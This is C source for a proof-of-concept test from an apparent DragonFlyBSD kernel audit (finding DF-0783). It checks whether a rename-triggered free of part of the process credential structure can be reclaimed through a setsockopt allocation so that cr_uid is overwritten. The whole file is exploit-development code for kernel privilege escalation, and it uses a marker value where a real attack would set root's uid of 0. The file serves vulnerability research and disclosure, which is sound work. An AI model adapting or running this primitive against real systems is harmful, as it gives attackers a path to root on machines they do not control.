โฌข DragonFlyBSD Kernel Audit
DF-0783 / primtest.c
โ† back to finding โ†“ download raw
/*
 * DF-0783 Primitive Test โ€” verify the arbitrary-free + realloc primitive.
 *
 * 1. setgroups to satisfy byte constraint (cr_groups[0]=131072, [1]=11822).
 * 2. fork helper to read own ucred addr U + content.
 * 3. wait for go_flag (image is mounted).
 * 4. rename to fire bug -> free(U+56).
 * 5. setsockopt(valsize=192, val=marker_pattern) -> kmalloc(192) reclaims
 *    U+56 (hopefully) and writes marker_pattern.
 * 6. fork helper to read own ucred AGAIN โ€” check if cr_uid changed.
 *
 * The marker pattern is chosen so cr_uid becomes 0x12345678 (not a real uid).
 * If the write succeeded, we'll see cr_uid = 0x12345678.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/wait.h>

typedef unsigned long long u64;
typedef unsigned int u32;
typedef unsigned short u16;
typedef unsigned char u8;
#define UCREDSIZE 192

int main(int argc, char **argv) {
    char mnt[1024]; char src[4096], dst[4096];
    char dump1[] = "/tmp/df0783_d1_XXXXXX";
    char dump2[] = "/tmp/df0783_d2_XXXXXX";
    u64 ucred_addr = 0;
    u8 before[UCREDSIZE], after[UCREDSIZE];
    u8 marker[UCREDSIZE];
    int i, dfd, s, rc;

    if (argc != 2) { fprintf(stderr, "usage: %s <mnt>\n", argv[0]); return 2; }
    snprintf(mnt, sizeof(mnt), "%s", argv[1]);
    snprintf(src, sizeof(src), "%s/d1/sub", mnt);
    snprintf(dst, sizeof(dst), "%s/d2/sub", mnt);

    /* Read ucred before rename. */
    mkstemp(dump1);
    pid_t pid = fork();
    if (pid == 0) {
        char p[16]; snprintf(p, sizeof(p), "%d", getppid());
        execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump1, NULL);
        _exit(127);
    }
    int st; waitpid(pid, &st, 0);
    dfd = open(dump1, O_RDONLY);
    if (dfd < 0 || read(dfd, &ucred_addr, 8) != 8 || read(dfd, before, UCREDSIZE) != UCREDSIZE) {
        perror("read dump1"); return 1;
    }
    close(dfd); unlink(dump1);
    fprintf(stderr, "[*] ucred=0x%llx uid=%u groups[0]=0x%x [1]=0x%x\n",
            (unsigned long long)ucred_addr,
            *(u32*)(before+64), *(u32*)(before+72), *(u32*)(before+76));

    /* Wait for go_flag. */
    fprintf(stderr, "[*] waiting for go_flag...\n");
    for (i = 0; i < 120; i++) {
        if (access("/tmp/go_flag", F_OK) == 0) { unlink("/tmp/go_flag"); break; }
        sleep(1);
    }

    /* Open socket. */
    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    /* Build marker: byte 8 (cr_uid position relative to U+56) = 0x12345678. */
    memset(marker, 0xCC, sizeof(marker));
    *(u32*)(marker + 8) = 0x12345678;  /* cr_uid */

    fprintf(stderr, "[*] rename...\n");
    rc = rename(src, dst);
    fprintf(stderr, "[*] rename rc=%d errno=%d\n", rc, errno);

    fprintf(stderr, "[*] setsockopt (alloc 192, write marker)...\n");
    rc = setsockopt(s, SOL_SOCKET, SO_RCVBUF, marker, sizeof(marker));
    fprintf(stderr, "[*] setsockopt rc=%d errno=%d\n", rc, errno);

    /* Read ucred AFTER. */
    mkstemp(dump2);
    pid = fork();
    if (pid == 0) {
        char p[16]; snprintf(p, sizeof(p), "%d", getppid());
        execl("/usr/local/sbin/ucred_helper", "ucred_helper", p, dump2, NULL);
        _exit(127);
    }
    waitpid(pid, &st, 0);
    u64 ucred_after = 0;
    dfd = open(dump2, O_RDONLY);
    if (dfd >= 0) {
        read(dfd, &ucred_after, 8);
        read(dfd, after, UCREDSIZE);
        close(dfd);
    }
    unlink(dump2);

    fprintf(stderr, "\n=== RESULTS ===\n");
    fprintf(stderr, "ucred before: 0x%llx, after: 0x%llx\n",
            (unsigned long long)ucred_addr, (unsigned long long)ucred_after);
    fprintf(stderr, "cr_uid before: %u (0x%x)\n", *(u32*)(before+64), *(u32*)(before+64));
    fprintf(stderr, "cr_uid after:  %u (0x%x)\n", *(u32*)(after+64), *(u32*)(after+64));
    fprintf(stderr, "cr_ngroups before: %u, after: %u\n",
            *(u16*)(before+68), *(u16*)(after+68));
    fprintf(stderr, "getuid() = %d\n", getuid());
    fprintf(stderr, "first 80 bytes after:\n    ");
    for (i = 0; i < 80; i++) {
        fprintf(stderr, "%02x ", after[i]);
        if (i % 16 == 15) fprintf(stderr, "\n    ");
    }
    fprintf(stderr, "\n");

    if (getuid() == 0 || *(u32*)(after+64) == 0x12345678) {
        fprintf(stderr, "[!!!] PRIMITIVE WORKED โ€” cr_uid was overwritten\n");
    } else {
        fprintf(stderr, "[!] primitive did not change cr_uid (race lost or wrong realloc)\n");
    }
    return 0;
}